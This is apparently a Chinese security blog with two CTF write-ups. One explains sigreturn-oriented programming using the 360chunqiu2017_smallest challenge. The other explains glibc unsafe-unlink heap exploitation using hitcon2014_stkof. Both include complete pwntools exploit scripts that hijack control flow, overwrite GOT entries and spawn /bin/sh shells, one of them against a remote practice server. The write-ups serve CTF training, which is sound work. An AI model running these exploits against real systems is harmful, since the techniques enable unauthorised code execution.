信号与栈-SROP 原理分析

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

Signal 原理

相信各位师傅对 Signal 都有一些了解.
Signal 作为一种 *nix 的异步通知方式,在 *nix 的系统编程方面十分常见.
本文将分析信号处理函数调用过程中的简单流程,并尝试部分 SROP 利用.

笔者使用如下程序分析 signal 机制.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <signal.h>
#include <stdio.h>
void func(int) {
char pr[] = "111122223333";

printf("signal:%p\n", &pr);
}
int main() {
char pr[] = "aaaabaaacaaa";
printf("main:%p\n", &pr);

signal(SIGUSR1, func);
for (;;)
;
}

通过编译运行本程序,并使用终端向程序发送 SIGUSR1 信号,触发信号处理函数 func
在这个简单的实验中,能看到:

1
2
main:0x7ffdd6510440
signal:0x7ffdd650fe50

func_stack

Signal[2]

当信号发送时,内核将进程的 ucontextsiginfo 压入 用户态 的进程栈顶部,并切换至 用户态 执行 Signal Handler,当 用户态Signal Handler 返回时,执行 syscall sigreturn ,内核恢复先前保存的 ucontextsiginfo,并恢复被信号中断函数的执行.

signal_stack
从上图中能十分清晰的看出,ucontextsiginfo 都保存在用户态,而且 signal_stack 并无 Canary 的保护.

下图是 x86_64 环境下,Signal Frame 的详细信息
Signal Frame[1]

SROP 利用

SROP 即 Sigreturn Oriented Programming.

前文已经说明了 Signal 机制所存在的安全隐患,下面来聊聊 signal_stack 的利用方式

  • 如果 signal_stack 有缓冲区溢出错误,则能够从 signal_stack 通过溢出修改 ucontextsiginfo 的内容,实现对寄存器的控制.
  • 我们还可以伪造 ucontextsiginfo 并利用 sigreturn 将伪造的数据的数据应用至寄存器中,实现对所有寄存器的控制.

目前 pwntools 已经集成了 SROP 的利用工具,能极大的方便 payload 的构造.

例题

题目:360chunqiu2017_smallest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
path = './Downloads/smallest'
r = process(path)

xor_addr = 0x4000B0
syscall_ret = 0x4000BE

r.send(p64(xor_addr)*3)

r.send(b'\xb3') # 更改 返回地址为 0x4000B3 同时设置 rax 为 1
r.recv(0x8)
write_able_addr = u64(r.recv(8))
r.recv()
# 栈迁移至 write_able_addr
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = write_able_addr
sigframe.rdx = 0x400
sigframe.rsp = write_able_addr
sigframe.rip = syscall_ret
payload = p64(xor_addr)+cyclic(0x8)+bytes(sigframe)
r.send(payload)

# 设置 rax = 15
sigreturn = p64(syscall_ret).ljust(15, b'\x00')
r.send(sigreturn)

# execve
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = write_able_addr + 0x120 # "/bin/sh 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = write_able_addr
sigframe.rip = syscall_ret

frame_payload = p64(xor_addr) + cyclic(0x8) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b'\x00') + b'/bin/sh\x00'

r.send(payload)
r.send(sigreturn)
r.interactive()

本题目是经典的 SROP 例题,本题中很巧妙的一点是利用 syscall read 写入 1 bytes 同时达成设置 rax 与 修改返回地址两个目的.

此时利用 rax == 1 调用 write 泄漏出一处可写的内存地址,在其上构造栈迁移.

Q:为什么需要这样做呢?
A:因为在后面的调用中需要 execve(sh_addr,NULL,NULL),只有将栈转移到已知的位置,才能确定写入的 /bin/sh\x00 字符串的地址.

其后,再次利用 syscall write 读取输入将 ‘/bin/sh\x00’ 写入,并利用偏移量计算出其地址,在最后面再次构造 signal_stack,调用 execve 成功 getshell.

参考资料

1:Bosman E, Bos H. Framing signals-a return to portable shellcode[C]//2014 IEEE Symposium on Security and Privacy. IEEE, 2014: 243-258.

2. SROP.[G/OL].ctf-wiki.https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#system-call-chains.
3. 杨超.CTF竞赛权威指南.Pwn篇[M].北京:电子工业出版社.

WriteUp--hitcon2014_stkof

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

先复习一下什么是 Unlink.

这是 Glibc 2.23 中 Unlink 相关的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(P->size) && \
__builtin_expect(P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

可以看到所谓 Unlink 主要就是双向链表的删除操作.但 Unlink 与普通的双向链表删除操作相比多了检查链表完整性抵御数据结构损坏与恶意攻击的 Checks.
info
INFO
下面对 Unlink 的讲解基于 x86_64 GNU/Linux 环境.

通过 Unlink 操作,能修改指向 Chunk 的指针.
假设现在有 mchunkptr pr 指向一个 chunk,且 &pr 的值已知为 t

1
2
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = &pr;

首先,看看代码就能发现,代码会检测 fd 和 bk 被篡改的情况.那么为了利用其中的漏洞,自然需要绕过这个 check.

1
2
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                       \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \

通过设置 fd 和 bk 的值就能绕过这个 check.
1
2
pr->fd=(char *)t-(bk 在 chunk 中的偏移量);
pr->bk=(char *)t-(fd 在 chunk 中的偏移量);

也就是
1
2
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

再看这里:
1
2
FD = P->fd;
BK = P->bk;

上面的绕过操作中,fdbk 有明确的要求,那么就能得到:
1
2
FD = (char *)t-0x18;
BK = (char *)t-0x10;

看到这里,将发现:
1
2
FD->bk == *(void **)t == P ;
BK->fd == *(void **)t == P ;

这便实现了对 __builtin_expect(FD->bk != P || BK->fd != P, 0) 的绕过.
如果读者对上述的绕过操作没能理解,那么不妨将设置的 fdbk 的值带入上面的 check 试试,或许对此会有新的理解.

那么到了双向链表的删除操作,

1
2
FD->bk = BK;
BK->fd = FD;

用上面的结论,这里的语句实质上就是:
1
2
*(void **)t = (char *)t-0x10;
*(void **)t = (char *)t-0x18;

这两次修改的最终效果自然只是:
1
*(void **)t = (char *)t-0x18;

回想 t 的定义:
1
mchunkptr *t = &pr;

哦,那么也就是:
1
pr = (char *)&pr-0x18;

这就是 Unlink 的利用的核心部分了.值得注意的是:上面的讲解中,反复出现了 Ppr,或者这两者会使读者产生混淆.需要说明的是:prP 是无关的两个指针,对 Unlink 的整个利用过程也与 P 无关,只有 pr 需要被关注.

总结一下刚才得到的结论:

1
2
3
4
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = &pr;
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

然后想办法触发对 prUnlink 就能使:
1
pr = (char *)&pr-0x18;

那么现在阻碍对 Unlink 的利用的就是「如何触发对 pr 指向的 chunk 的 Unlink 操作呢?」
可以通过 free 一个不进入 tcachefastbinchunk,触发对其相邻的 chunk 的 Unlink.下面是 Glibc 2.23 中 _int_free 的部分源码.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

那么另一个问题是:「如何控制 pr->fdpr->bk 呢?」
很简单,通过伪造一个 chunk 即可.
请看下面的例题.

hitcon2014_stkof

通过分析简单的分析能写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
path = "/home/admin/Downloads/stkof"
libc = ELF("/home/admin/pwn/buulib/libc-16.2.23-64.so")
elf = ELF(path)
r = remote("node4.buuoj.cn", 28436)


def i2b(n: int):
return bytes(str(n), encoding="ascii")


def alloc(size: int):
r.sendline(b"1")
sleep(0.5)
r.sendline(i2b(size))
r.recvline()
r.recvuntil(b"OK\n")


def edit(idx: int, size: int, context: bytes):
r.sendline(b"2")
sleep(0.5)
r.sendline(i2b(idx))
sleep(0.5)
r.sendline(i2b(size))
sleep(0.5)
r.send(context)
r.recvline()


def free(idx: int):
r.sendline(b"3")
sleep(0.5)
r.sendline(i2b(idx))
# r.recvuntil(b"OK\n")

下面便利用 Unlink 解出这道题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Array = 0x602140
# 触发 IO 请求,使 IO 函数完成对输入输出缓冲区的申请,消除对下面代码的干扰,这个这次申请的 alloc 的大小可以是任意值
alloc(0x10) # 1

alloc(0x30) # 2
alloc(0x80) # 3

# 在 2 中伪造了一个大小为 0x20 的 chunk
# 2 是 指向 memory 的指针在 Array 中的下标,也就是 &Array[2] == (char *)Array + 0x10
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)
edit(2, len(payload), payload)
free(3)
r.recvline()

Array[2] 是一个指向 memory 的指针,在这个位置伪造一个 fakechunk 那么 Array[2] 就成为了指向 fakechunkpr&Array[2] == (char *)Array + 0x10 也就是 &pr 对应上文中的 t

1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里的前 4 个值分别对应:fakechunk 的 prev_size、fakechunk 的 size、fakechunk 的 fd、fakechunk 的 bk.
问题来了:这里的第 5 个值 0x20 是做什么的?

下面是 Glibc 2.27 中 unlink_chunk 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) \
malloc_printerr("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(chunksize_nomask(P)) && \
__builtin_expect(P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

请关注这里新增了:
1
2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");

这里会比较 chunk 的 size 和 next_chunk 的 prev_size.
1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里最后一个值 0x20 用作 fakechunk 的 next_chunk 的 prev_size,来绕过上述的 check.
1
2
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)

这里,通过 ljust 将 payload 补齐 0x30 的长度后,flat(0x30, 0x90) 分别修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 和 size.
为什么要修改这两个字段?

1
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

_int_free 中通过 chunk 的 size 中的 PREV_INUSE 判断 prev_chunk 是否需要 Unlink.所以需要将 Array[3] 指向的 memory 对应的 chunk 的 size 中的 PREV_INUSE 取消置位.
又因为 _int_free 通过 prevsize 定位 prevchunk 所以需要修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 为 0x30 才能对 fakechunk 触发 Unlink.

注意:
在 ptmalloc 的的视角中:Array[3] 的 prev_chunk 是 fakechunk.且 fakechunk 的 nextchunk 是一个 0x20 的 chunk.

至此,题目的 Unlink 部分讲解完成.
剩余部分就是泄漏 puts 的地址,将 atoi 的 got 表中的值修改为 system 的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = flat(0, elf.got['free'], elf.got['puts'], elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = r.recvline(keepends=False)
r.recvline()

assert(len(puts_addr) == 6)
puts_addr = u64(puts_addr.ljust(8, b"\x00"))
log.success("puts addr success "+hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts']
system_addr = libc_base+libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
r.sendline(b"/bin/sh\x00")
r.interactive()

参考资料

1. Unlink[G/OL].CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/.

2:Glibc, https://www.gnu.org/software/libc.